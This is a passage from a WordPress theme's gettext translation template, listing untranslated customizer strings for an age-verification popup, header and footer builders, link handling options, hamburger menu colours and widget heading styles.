msgid "Popup Message"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:15
msgid ""
"Write a message warning your visitors about age restriction on your website"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:22
msgid "Error Message"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:23
msgid "This message will be displayed when the visitor don't verify his age."
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:28
#: inc/customizer/default.php:174
msgid "I am 18 or Older"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:30
msgid "Agree Text"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:35
#: inc/customizer/default.php:175
msgid "I am Under 18"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:37
msgid "Cancel Text"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:44
msgid "Popup Content Styles"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:51
#: inc/customizer/config/sections/penci_popup_section_display_section.php:80
msgid "Popup Open Animation"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:54
#: inc/customizer/config/sections/penci_popup_section_display_section.php:83
msgid "Move To Left"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:55
#: inc/customizer/config/sections/penci_popup_section_display_section.php:84
msgid "Move To Right"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:56
#: inc/customizer/config/sections/penci_popup_section_display_section.php:85
msgid "Move To Top"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:57
#: inc/customizer/config/sections/penci_popup_section_display_section.php:86
msgid "Move To Bottom"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:66
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:9
msgid "Popup Background Image"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:72
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:16
#: inc/customizer/config/sections/penci_section_select_share_section.php:51
#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:82
msgid "Popup Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:74
msgid "Set background image or color for age popup"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:80
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:23
msgid "Popup Background Repeat"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:83
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:26
msgid "repeat"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:84
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:27
msgid "repeat-x"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:85
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:28
msgid "repeat-y"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:86
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:29
msgid "no-repeat"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:87
#: inc/customizer/config/sections/penci_ageverify_section.php:120
#: inc/customizer/config/sections/penci_ageverify_section.php:134
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:30
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:77
msgid "initial"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:88
#: inc/customizer/config/sections/penci_ageverify_section.php:121
#: inc/customizer/config/sections/penci_ageverify_section.php:135
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:31
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:78
msgid "inherit"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:95
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:38
msgid "Popup Background Position"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:98
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:41
msgid "left top"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:99
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:42
msgid "left center"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:100
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:43
msgid "left bottom"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:101
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:44
msgid "right top"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:102
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:45
msgid "right center"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:103
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:46
msgid "right bottom"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:104
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:47
msgid "center top"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:105
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:48
msgid "center center"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:106
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:49
msgid "center bottom"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:113
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:56
msgid "Popup Background Size"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:116
msgid "auto"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:117
msgid "length"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:118
msgid "cover"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:119
msgid "contain"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:128
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:71
msgid "Popup Background Scroll"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:131
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:74
msgid "scroll"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:132
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:75
msgid "fixed"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:133
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:76
msgid "local"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:146
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:89
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:271
#: inc/js_composer/shortcodes/button_popup/settings.php:74
msgid "Popup Width"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:147
msgid "Set width of the age popup in pixels."
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:177
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:120
#: inc/customizer/config/sections/penci_section_select_share_section.php:57
#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:103
msgid "Popup Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:184
msgid "Popup Text Size on Mobile"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:190
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:144
msgid "Popup Text Size"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:218
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:127
msgid "Popup Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:225
msgid "Agree Button Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:232
msgid "Agree Button Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:239
msgid "Agree Button Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:246
msgid "Agree Button Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:253
msgid "Cancel Button Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:260
msgid "Cancel Button Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:267
msgid "Cancel Button Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:274
msgid "Cancel Button Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:281
#: inc/customizer/config/sections/penci_popup_section_styles_section.php:174
msgid "Popup Spacing"
msgstr ""

#: inc/customizer/config/sections/penci_builder_general_section.php:4
#: inc/customizer/config/sections/penci_footer_builder_config_section.php:3
#: inc/customizer/config/sections/penci_popup_section_display_section.php:31
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:19
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:51
#: inc/customizer/controller.php:134
msgid "- Select -"
msgstr ""

#: inc/customizer/config/sections/penci_builder_general_section.php:18
msgid "General Header Builder for All Pages"
msgstr ""

#: inc/customizer/config/sections/penci_builder_general_section.php:27
msgid "Header Builder for Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_builder_general_section.php:36
msgid "Header Builder for Category,Tag, Search, Archive Pages"
msgstr ""

#: inc/customizer/config/sections/penci_builder_general_section.php:45
msgid "Header Builder for Single Post Pages"
msgstr ""

#: inc/customizer/config/sections/penci_builder_general_section.php:54
msgid "Header Builder for Pages"
msgstr ""

#: inc/customizer/config/sections/penci_builder_general_section.php:63
msgid "Header Builder for WooCommerce"
msgstr ""

#: inc/customizer/config/sections/penci_footer_builder_config_section.php:18
msgid "General Footer Builder for All Pages"
msgstr ""

#: inc/customizer/config/sections/penci_footer_builder_config_section.php:27
msgid "Footer Builder for Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_footer_builder_config_section.php:36
msgid "Footer Builder for Category,Tag, Search, Archive Pages"
msgstr ""

#: inc/customizer/config/sections/penci_footer_builder_config_section.php:45
msgid "Footer Builder for Pages"
msgstr ""

#: inc/customizer/config/sections/penci_footer_builder_config_section.php:54
msgid "Footer Builder for Single Post Pages"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:6
msgid "External links"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:13
msgid "Enable for External links"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:21
#: inc/customizer/config/sections/penci_linkmanager_section.php:73
msgid "Open external links:"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:23
#: inc/customizer/config/sections/penci_linkmanager_section.php:37
#: inc/customizer/config/sections/penci_linkmanager_section.php:75
#: inc/customizer/config/sections/penci_linkmanager_section.php:89
msgid "Keep default"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:24
#: inc/customizer/config/sections/penci_linkmanager_section.php:76
msgid "in the same window, tab or frame"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:25
#: inc/customizer/config/sections/penci_linkmanager_section.php:77
msgid "each in a separate new window or tab"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:26
#: inc/customizer/config/sections/penci_linkmanager_section.php:78
msgid "all in the same new window or tab (NOT recommended)"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:27
#: inc/customizer/config/sections/penci_linkmanager_section.php:79
msgid "in the topmost frame (NOT recommended)"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:35
#: inc/customizer/config/sections/penci_linkmanager_section.php:87
msgid "Follow Options:"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:38
#: inc/customizer/config/sections/penci_linkmanager_section.php:90
msgid "follow"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:46
#: inc/customizer/config/sections/penci_linkmanager_section.php:98
msgid "Add to rel attribute:"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:48
#: inc/customizer/config/sections/penci_linkmanager_section.php:100
msgid "Add \"noopener\""
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:49
#: inc/customizer/config/sections/penci_linkmanager_section.php:101
msgid "Add \"noreferrer\""
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:50
msgid "Add \"external\""
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:51
msgid "Add \"sponsored\""
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:52
msgid "Add \"ugc\""
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:58
msgid "Interal links"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:65
msgid "Enable for Internal links"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:107
msgid "Exceptions Links"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:112
msgid "Skip pages or posts (id's):"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:113
msgid "Separate postID/pageID by comma."
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:118
msgid "Ignore links by class"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:119
msgid "Separate classes by comma."
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:124
msgid "Make subdomains internal"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:125
msgid "Treat all links to the site's domain and subdomains as internal links"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:130
msgid "Include external links by URL"
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:131
#: inc/customizer/config/sections/penci_linkmanager_section.php:137
msgid ""
"Separate url's by comma and/or a line break. Write the url's as specific as "
"you want them to match."
msgstr ""

#: inc/customizer/config/sections/penci_linkmanager_section.php:136
msgid "Exclude external links by URL"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:5
msgid "General Colors"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:11
msgid "Menu Hamburger Icon Color on Horizontal Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:12
msgid "Menu Hamburger Icon Hover Color on Horizontal Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:13
msgid "Mobile Bars Icon Background Color( for Vertical Navigation )"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:14
msgid "Mobile Bars Icon Color( for Vertical Navigation )"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:17
msgid "Menu Hamburger Close Icon Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:18
msgid "Menu Hamburger Close Icon Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:19
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:81
#: inc/customizer/config/sections/pencidesign_woo_ordercompleted_page_section.php:25
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:157
msgid "General Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:20
msgid "Site Title Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:21
msgid "Site Description Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:22
msgid "Custom Border Colors for Search Box"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:23
msgid "Custom Border Colors for Search Box on Focus"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:24
msgid "Custom Text Colors for Search Box"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:25
msgid "Custom Colors for Search Icon"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:26
#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:234
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:76
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:174
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:105
#: inc/customizer/config/sections/penci_section_spost_colors_section.php:456
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:89
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:84
msgid "Accent Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:27
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:112
msgid "Accent Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:28
msgid "Footer Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:29
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:452
msgid "Social Icons Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:30
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:459
msgid "Social Icons Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:31
msgid "Social Icons Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:32
msgid "Social Icons Border Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:33
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:466
msgid "Social Icons Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:34
msgid "Social Icons Background Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:48
msgid "Widgets Colors"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:54
msgid "Widget Heading Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:55
msgid "Widget Heading Background Outer Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:56
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:35
msgid "Sidebar Widget Heading Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:57
msgid "Widget Heading Border Outer Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:58
msgid "Custom Color for Border Bottom on Widget Heading Style 5"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:59
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:56
msgid ""
"Custom Color for Small Border Bottom on Widget Heading Style 7 & Style 8"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:60
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:63
msgid "Custom Color for Border Top on Widget Heading Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:61
msgid "Custom Shapes Background Color on Widget Heading Styles 11, 12, 13"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:62
#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:137
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:77
#: inc/js_composer/inc/vc-params-helper.php:721
msgid "Background Color for Icon on Style 15"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:63
#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:144
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:84
#: inc/js_composer/inc/vc-params-helper.php:729
msgid "Icon Color on Style 15"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:64
#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:151
#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:91
#: inc/js_composer/inc/vc-params-helper.php:737
msgid "Color for Lines on Styles 18, 19, 20"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:65
msgid "Widget Heading Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:6
msgid "Enable Menu Hamburger"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:13
msgid "Enable Vertical Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:20
msgid "Completely Delete The Header When Enable Vertical Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:27
msgid "Hide Menu Hamburger Icon Display on Horizontal Navigation on Mobile"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:34
msgid "Set A Background Image"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:40
msgid "Custom Width for Vertical Nav & Menu Hamburger"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:41
msgid "Min is 250px, Max is 500px"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:61
msgid "Custom Size for Hamburger Menu Icon"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:62
msgid "Min is 14px, Max is 30px"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:82
msgid "Position in Page"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:93
msgid "Hide Logo"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:99
#: inc/meta-box/register/page.php:146
msgid "Custom Logo Image"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:106
#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:76
msgid "Custom Link for Logo Image"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:113
msgid "Set A Max Width for Logo Image"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:132
msgid "Add Site Title"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:139
msgid "Font Size for Site Title"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:159
msgid "Add Site Description"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:166
msgid "Font Size for Site Description"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:186
msgid "Add Search Form Below Site Description"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:193
msgid "Select Custom Menu to Display on Primary Menu"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:211
msgid "Hide Primary Menu"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:226
msgid "Disable Uppercase on Primary Menu Items"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:233
msgid "Font Size for Primary Menu Items"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:253
msgid "Font Size for Sub-menu Items"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:272
msgid "Hide Footer Text"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:279
msgid "Hide Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:286
msgid "Select Style for Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:288
msgid ""
"The options for custom colors, background color, border for social icons "
"will does not apply for Brand Color styles"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:292
msgid "Icons with Brand Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:293
msgid "Round with Border"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:294
msgid "Square with Border"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:295
msgid "Round with Brand Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:296
msgid "Square with Brand Color"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:302
msgid "Font Size for Social Media Icons"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_section.php:322
msgid "Custom Footer Text"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:7
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:198
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:27
msgid "Custom Space Between Widgets"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:25
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:218
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:45
msgid "Turn Off Uppercase Widget Heading"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:33
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:53
msgid "Custom Widget Heading Text Size"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:51
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:233
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:72
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:67
msgid "Sidebar Widget Heading Style"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:60
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:15
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:241
#: inc/customizer/config/sections/penci_section_spost_general_section.php:14
#: inc/customizer/config/sections/penci_section_spost_general_section.php:449
#: inc/customizer/config/sections/penci_section_spost_general_section.php:464
#: inc/customizer/config/sections/penci_section_spost_general_section.php:480
#: inc/customizer/config/sections/penci_section_spost_general_section.php:496
#: inc/customizer/config/sections/penci_section_spost_general_section.php:512
#: inc/customizer/config/sections/penci_section_spost_general_section.php:528
#: inc/customizer/config/sections/penci_section_spost_general_section.php:694
#: inc/customizer/config/sections/penci_section_spost_general_section.php:728
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:28
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:468
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:251
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:80
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:124
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:140
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:91
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:107
#: inc/elementor/base/base-widget.php:180
#: inc/elementor/base/base-widget.php:213
#: inc/elementor/base/base-widget.php:344
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:72
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:146
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:321
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:368
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:190
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:76
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:72
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:199
#: inc/js_composer/inc/vc-params-helper.php:136
#: inc/js_composer/inc/vc-params-helper.php:851
#: inc/js_composer/shortcodes/big_grid/settings.php:44
#: inc/js_composer/shortcodes/counter_up/settings.php:202
#: inc/js_composer/shortcodes/testimonails/settings.php:42
#: inc/js_composer/shortcodes/video_playlist/settings.php:98
#: inc/modules/penci-menu-callback.php:144
#: inc/template-builder/single-elements/postpagination.php:49
#: inc/template-builder/single-elements/relatedpost.php:207
msgid "Style 5"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:61
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:16
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:242
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:469
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:81
#: inc/elementor/base/base-widget.php:214
#: inc/elementor/base/base-widget.php:345
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:322
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:77
#: inc/template-builder/single-elements/relatedpost.php:208
msgid "Style 6 - Only Text"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:62
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:17
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:243
#: inc/customizer/config/sections/penci_section_spost_general_section.php:16
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:470
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:253
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:82
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:142
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:109
#: inc/elementor/base/base-widget.php:182
#: inc/elementor/base/base-widget.php:215
#: inc/elementor/base/base-widget.php:346
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:74
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:148
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:323
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:370
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:78
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:201
#: inc/js_composer/inc/vc-params-helper.php:138
#: inc/js_composer/inc/vc-params-helper.php:853
#: inc/js_composer/shortcodes/big_grid/settings.php:46
#: inc/js_composer/shortcodes/counter_up/settings.php:204
#: inc/js_composer/shortcodes/video_playlist/settings.php:100
#: inc/template-builder/single-elements/relatedpost.php:209
msgid "Style 7"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:63
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:18
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:244
#: inc/customizer/config/sections/penci_section_spost_general_section.php:17
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:471
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:83
#: inc/elementor/base/base-widget.php:216
#: inc/elementor/base/base-widget.php:347
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:75
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:149
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:324
